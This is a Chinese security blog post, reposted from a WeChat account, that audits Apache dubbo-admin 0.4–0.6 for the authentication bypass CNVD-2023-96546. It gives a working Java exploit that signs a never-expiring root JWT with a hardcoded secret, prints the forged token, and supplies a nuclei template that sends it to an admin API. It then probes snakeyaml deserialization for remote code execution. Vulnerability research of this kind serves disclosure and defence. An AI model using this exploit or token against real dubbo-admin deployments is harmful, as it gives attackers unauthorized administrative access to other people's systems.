Dubbo-admin-authorized-bypass CNVD-2023-96546 代码审计

admin 2024年1月10日16:10:45评论67 views字数 5103阅读17分0秒阅读模式

Affected versions dubbo-admin 0.4-0.6

0x01 analyze

org/apache/dubbo/admin/controller/UserController.java#login()

1
2
3
4
5
6
7
8
9
10
11
12
public String login(HttpServletRequest httpServletRequest, HttpServletResponse response, @RequestParam String userName, @RequestParam String password) {
ExtensionLoader<LoginAuthentication> extensionLoader = ExtensionLoader.getExtensionLoader(LoginAuthentication.class);
Set<LoginAuthentication> supportedExtensionInstances = extensionLoader.getSupportedExtensionInstances();
Iterator<LoginAuthentication> iterator = supportedExtensionInstances.iterator();
boolean flag = true;
if (iterator != null && !iterator.hasNext()) {
if (StringUtils.isBlank(rootUserName) || (rootUserName.equals(userName) && rootUserPassword.equals(password))) {
return jwtTokenUtil.generateToken(userName);
} else {
flag = false;
}
}
JAVA
1
直接确定用户名和密码填写即可,然后获取jwtToken
TEXT

org/apache/dubbo/admin/utils/JwtTokenUtil.java#generateToken()

1
2
3
4
5
6
7
8
9
10
public String generateToken(String rootUserName) {
Map<String, Object> claims = new HashMap<>(1);
claims.put("sub", rootUserName);
return Jwts.builder()
.setClaims(claims)
.setExpiration(new Date(System.currentTimeMillis() + expiration))
.setIssuedAt(new Date(System.currentTimeMillis()))
.signWith(defaultAlgorithm, secret)
.compact();
}
JAVA

那么这里是jwttoken的处理方式,包括认证时间、过期时间、用户名。

org/apache/dubbo/admin/utils/JwtTokenUtil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
* Jwt signingKey configurable
*/
@Value("${admin.check.signSecret:}")
public String secret;

/**
* token timeout configurable
* default to be an hour: 1000 * 60 * 60
*/
@Value("${admin.check.tokenTimeoutMilli:}")
public long expiration;

/**
* default SignatureAlgorithm
*/
public static final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512;
JAVA

该类定义了固定的秘密、过期、默认算法。现在我们知道了加密方式,我们就可以使用假jwt来登录绕过了。

org/apache/dubbo/admin/authentication/impl/DefaultPreHandle.java#authentication()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 public boolean authentication(HttpServletRequest request, HttpServletResponse response, Object handler) {
HandlerMethod handlerMethod = (HandlerMethod) handler;
Method method = handlerMethod.getMethod();
Authority authority = method.getDeclaredAnnotation(Authority.class);
if (null == authority) {
authority = method.getDeclaringClass().getDeclaredAnnotation(Authority.class);
}

String token = request.getHeader("Authorization");

if (null != authority && authority.needLogin()) {
//check if 'authorization' is empty to prevent NullPointException
if (StringUtils.isEmpty(token)) {
//While authentication is required and 'Authorization' string is missing in the request headers,
//reject this request(http403).
AuthInterceptor.authRejectedResponse(response);
return false;
}
if (jwtTokenUtil.canTokenBeExpiration(token)) {
return true;
}
//while user not found, or token timeout, reject this request(http401).
AuthInterceptor.loginFailResponse(response);
return false;
} else {
return true;
}
}
}
JAVA

这里可以分析一下,从Authorization中获取jwt,然后确定过期时间。现在我们有办法对其进行加密,就是针对一个长期不过期的jwt。

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.apache.dubbo.admin.controller;

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class jwt {
public static String generateToken(String rootUserName) {
String secret = "86295dd0c4ef69a1036b0b0c15158d77";
Long timeStamp = 9999999999999L;
Date date = new Date(timeStamp);
final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512;
Map<String, Object> claims = new HashMap<>(1);
claims.put("sub", rootUserName);
return Jwts.builder()
.setClaims(claims)
.setExpiration(date)
.setIssuedAt(new Date(System.currentTimeMillis()))
.signWith(defaultAlgorithm, secret)
.compact();
}
public static void main(String[] args) {
String root = jwt.generateToken("root");
System.out.println(root);


}
}
JAVA

In this way, you can get root’s jwt.

Calculate and get

1
eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg
JWT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
id: dubbo-admin_Unauthorized_bypass
info:
name: Template Name
author:
severity: medium
description: dubbo-admin Unauthorized access bypass
reference:
- https://
tags: apache,dubbo-admin
requests:
- raw:
- |+
GET /api/dev/consumers HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Referer: http://{{Hostname}}/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

matchers:
- type: word
part: header
words:
- 'HTTP/1.1 200 '

YAML

A poc of nuclei. You can quickly verify permission bypass.

0x03 尝试找rce点

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

pom里面有snakeyaml。

自然想到yaml.load()。

org/apache/dubbo/admin/common/util/YamlParser.java

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

最后找到这两个,可控的地方。

我门跟一下下面的

org/apache/dubbo/admin/service/impl/MeshRouteServiceImpl.java

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

可以看到是检查mesh的规则。

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

找一下调用,发现在创建规则和更新时都会触发。

org/apache/dubbo/admin/controller/MeshRouteController.java

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

最后也是找到路由点。

接下来测试一下

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

随便输入,然后替换为伪造的jwt

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

是能成功登入的

来到msh路由

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

跟进一下,发现SafeConstructor()开启了白名单。G.

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

手动改了后,重新尝试。

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

可以成功执行。

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

查看了一下版本 0.3开始SafeConstructor(),

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

0.2看来可以的。

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

但是,jwt 在0.4.... 

Dubbo-admin-authorized-bypass CNVD-2023-96546  代码审计

原文始发于微信公众号(黑伞安全):Dubbo-admin-authorized-bypass CNVD-2023-96546 代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日16:10:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dubbo-admin-authorized-bypass CNVD-2023-96546 代码审计http://cn-sec.com/archives/2381351.html

发表评论

匿名网友 填写信息